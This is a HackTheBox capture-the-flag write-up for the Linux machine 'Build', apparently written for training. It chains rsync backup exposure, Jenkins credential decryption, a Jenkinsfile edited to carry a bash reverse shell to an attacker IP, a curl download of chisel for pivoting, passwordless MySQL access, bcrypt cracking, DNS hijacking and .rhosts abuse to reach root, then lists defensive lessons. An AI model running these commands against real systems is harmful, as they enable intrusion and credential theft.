HTB: Build Writeup
Build - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Build |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | N/A |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Build is an easy-rated Linux machine that demonstrates the risks of exposed backups and misconfigured services in containerized environments. The attack chain begins with unauthenticated access to an rsync backup share containing encrypted Jenkins credentials. After decrypting the password using Jenkins master keys, attackers gain access to Gitea/GitLab and exploit a configured webhook to execute arbitrary code in a Docker container. From the container, misconfigured MySQL and PowerDNS services become accessible, allowing DNS hijacking via record modification. Finally, leveraging the mounted .rhosts file and RSH trust-based authentication, the attacker achieves root access on the host machine.
TL;DR: Unauthenticated rsync → Jenkins credential decryption → Gitea webhook RCE → Docker container shell → MySQL/PowerDNS enumeration → DNS hijacking → RSH root access via .rhosts abuse.
Reconnaissance
Port Scanning
# Initial full-port scannmap -Pn -p- --min-rate=1000 -T4 10.129.234.60
# Detailed service enumerationports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.234.60 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -Pn -p$ports -sC -sV 10.129.234.60Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 Ubuntu 3ubuntu0.11 |
| 53 | DNS | PowerDNS |
| 512 | RSH (exec) | Berkeley r-commands suite |
| 513 | RSH (login) | Berkeley r-commands suite |
| 514 | RSH (shell) | Berkeley r-commands suite |
| 873 | rsync | rsync daemon |
| 3000 | HTTP | Golang net/http (Gitea) |
| 3306 | MySQL | Filtered (reachable from container) |
| 8081 | Unknown | Filtered |
Service Enumeration
Gitea (Port 3000):
The web application reveals a public repository named Dev created by user buildadm. The repository contains a Jenkinsfile that suggests a CI/CD pipeline configured to execute on repository changes.
rsync (Port 873):
Unauthenticated access is available to the backups share:
rsync -av --list-only rsync://10.129.234.60/# Output: backups share available
rsync -av --list-only rsync://10.129.234.60/backups# Output: jenkins.tar.gz (376MB)
# Download the backuprsync -av rsync://10.129.234.60/backups/jenkins.tar.gz .Jenkins Configuration Archive:
Extracting jenkins.tar.gz reveals Jenkins configuration files including encrypted credentials.
Vulnerability Assessment
- Unauthenticated rsync access - Backup share publicly readable
- Weak Jenkins secret storage - Encrypted credentials recoverable with configuration files
- Gitea webhook to internal Jenkins - Allows pipeline manipulation for RCE
- Misconfigured MySQL - Root account with no password
- Docker container with host mounts -
.rhostsfile accessible from container - RSH trust-based authentication -
.rhostsentries allow passwordless access - DNS hijacking via PowerDNS API - Unprotected DNS record modification
Initial Foothold
Exploitation Path
Step 1: Extract and Decrypt Jenkins Credentials
# Extract the jenkins.tar.gz archivetar -xzf jenkins.tar.gz
# Locate encrypted password in Jenkins configgrep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" jenkins_configuration/# Output: ./jobs/build/config.xml contains encrypted password
# Verify master key and secret files existls jenkins_configuration/secrets/master.keyls jenkins_configuration/secrets/hudson.util.Secret
# Use pwn_jenkins to decrypt the passwordpython3 decrypt.py jenkins_configuration/secrets/master.key \ jenkins_configuration/secrets/hudson.util.Secret \ jenkins_configuration/jobs/build/config.xml# Decrypted password: Git1234!Step 2: Access Gitea with Decrypted Credentials
Login to Gitea at http://10.129.234.60:3000/Username: buildadmEmail: admin@build.vlPassword: Git1234!After logging in, navigate to the Dev repository and verify the webhook is configured to point to an internal Jenkins instance.
Step 3: Modify Jenkinsfile and Trigger RCE
Edit the Jenkinsfile in the Dev repository by adding a reverse shell to the pipeline:
pipeline { agent any
stages { stage('Do nothing') { steps { sh ''' bash -c 'bash -i >& /dev/tcp/10.10.14.67/1337 0>&1' ''' } } }}Commit the changes. The webhook triggers Jenkins to execute the pipeline within 1-2 minutes.
Step 4: Catch the Reverse Shell
nc -lnvp 1337# listening on [any] 1337 ...# connect to [10.10.14.67] from (UNKNOWN) [10.129.234.60] 46280# bash: cannot set terminal process group (7): Inappropriate ioctl for device# bash: no job control in this shell# root@5ac6c7d6fb8e:/var/jenkins_home/workspace/build_dev_main#Step 5: Retrieve User Flag
cat /root/user.txt# <user_flag_content>Privilege Escalation
Understanding the Environment
# Identify container detailshostname -I# 172.18.0.3
# Check mounted filesystemsmount | grep -E "(dev|root)"# /dev/mapper/ubuntu--vg-ubuntu--lv mounted at /root and other locationsThe container has the host’s filesystem mounted at /root, indicating privileged container access.
Exploiting .rhosts for RSH Access
Step 1: Examine .rhosts File
cat /root/.rhosts# admin.build.vl +# intern.build.vl +The .rhosts file permits passwordless RSH access from hosts admin.build.vl and intern.build.vl to any user on the system (the + wildcard).
Step 2: Establish SOCKS Proxy
Download and use chisel to create a reverse SOCKS proxy for accessing internal services:
# On attacker machine: start chisel serverchisel server --reverse --port 8080
# On container: download and connect chiselcurl 10.10.14.67/chisel -o /tmp/chiselchmod +x /tmp/chisel./chisel client 10.10.14.67:8080 R:socks &Step 3: Access MySQL via SOCKS Proxy
# Connect to MySQL on 172.18.0.1 (PowerDNS host) via proxyproxychains4 mysql -h 172.18.0.1 -u root --skip-password
# Enumerate databasesshow databases;# powerdnsadmin database contains user accounts and DNS records
use powerdnsadmin;select * from user;# Retrieve admin user hash: $2b$12$s1hK0o7YNkJGfu5poWx.0u1WLqKQIgJOXWjjXz7Ze3Uw5Sc2.hsEqStep 4: Crack Admin Password
# Save hash to fileecho '$2b$12$s1hK0o7YNkJGfu5poWx.0u1WLqKQIgJOXWjjXz7Ze3Uw5Sc2.hsEq' > admin_hash
# Crack with johnjohn --wordlist=/usr/share/wordlists/rockyou.txt admin_hash# Cracked password: winstonStep 5: Modify DNS Records via PowerDNS
Using the cracked credentials (admin:winston), log into PowerDNS Admin and modify the A record for intern.build.vl:
- Original:
172.18.0.1 - Modified to:
10.10.14.67(attacker IP)
Step 6: Verify DNS Hijacking
dig intern.build.vl @10.129.234.60
# ANSWER SECTION:# intern.build.vl. 60 IN A 10.10.14.67Step 7: Achieve Root via RSH
# Use rsh to connect as root from the hijacked intern.build.vl hostrsh -v root@build.vl# Trying 10.129.234.60 port 513...# Connected.# Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-136-generic x86_64)# root@build:~#Step 8: Retrieve Root Flag
cat /root/root.txt# <root_flag_content>Attack Chain Summary
Unauthenticated rsync access ↓Download jenkins.tar.gz backup ↓Decrypt Jenkins credentials (Git1234!) ↓Login to Gitea as buildadm ↓Modify Jenkinsfile with reverse shell ↓Webhook triggers pipeline execution ↓RCE as root in Docker container ↓Establish SOCKS proxy to internal network ↓Access MySQL on PowerDNS host ↓Extract and crack admin password hash (winston) ↓Modify DNS record: intern.build.vl → attacker IP ↓RSH to root@build.vl using .rhosts trust ↓Root access on host machineTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
rsync | Accessing and downloading backup shares |
tar | Extracting Jenkins configuration archive |
grep | Locating encrypted credentials in configs |
pwn_jenkins | Decrypting Jenkins passwords with master keys |
chisel | SOCKS proxy for internal network access |
proxychains | Routing traffic through SOCKS proxy |
mysql | Querying PowerDNS database |
john | Cracking bcrypt password hashes |
dig | DNS record verification |
rsh | Remote shell access via RSH protocol |
nc | Catching reverse shell connections |
Key Learnings
Techniques Practiced
- Jenkins credential extraction - Understanding Jenkins master key decryption for obtaining credentials
- Gitea/GitLab webhook exploitation - Leveraging webhooks for arbitrary code execution in CI/CD pipelines
- Docker container escape - Exploiting mounted filesystems to access host resources
- Network pivoting - Using SOCKS proxies to access filtered internal services
- DNS hijacking - Modifying DNS records via PowerDNS API to redirect traffic
- RSH trust-based authentication - Exploiting
.rhostsfiles for passwordless access - Bcrypt password cracking - Using john to crack modern bcrypt hashes
- DevOps security - Understanding risks in CI/CD and containerized infrastructure
Lessons Learned
-
Backup security is critical - Unauthenticated rsync shares expose sensitive configuration and credentials that should never be accessible without authentication.
-
Jenkins secrets management - Master keys and encrypted passwords must be treated as highly sensitive and should never be included in backup archives accessible to untrusted users.
-
Webhook validation - CI/CD webhooks should validate commit signatures and sources to prevent arbitrary pipeline execution.
-
Container isolation - Containers should not have root-level access to host filesystems; mount points should be restricted and validated.
-
Database hardening - MySQL root accounts should always have strong passwords; passwordless root access is a critical misconfiguration.
-
DNS security - PowerDNS and similar DNS management systems should enforce strong authentication and audit all record modifications.
-
Legacy service risks - RSH and
.rhostsauthentication are legacy protocols with severe security implications in modern environments; SSH should be the only remote access mechanism. -
Defense in depth - Multiple weaknesses (rsync + Jenkins + webhook + Docker mount + MySQL + DNS + RSH) compound to create an exploitable chain; each layer should be independently secured.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>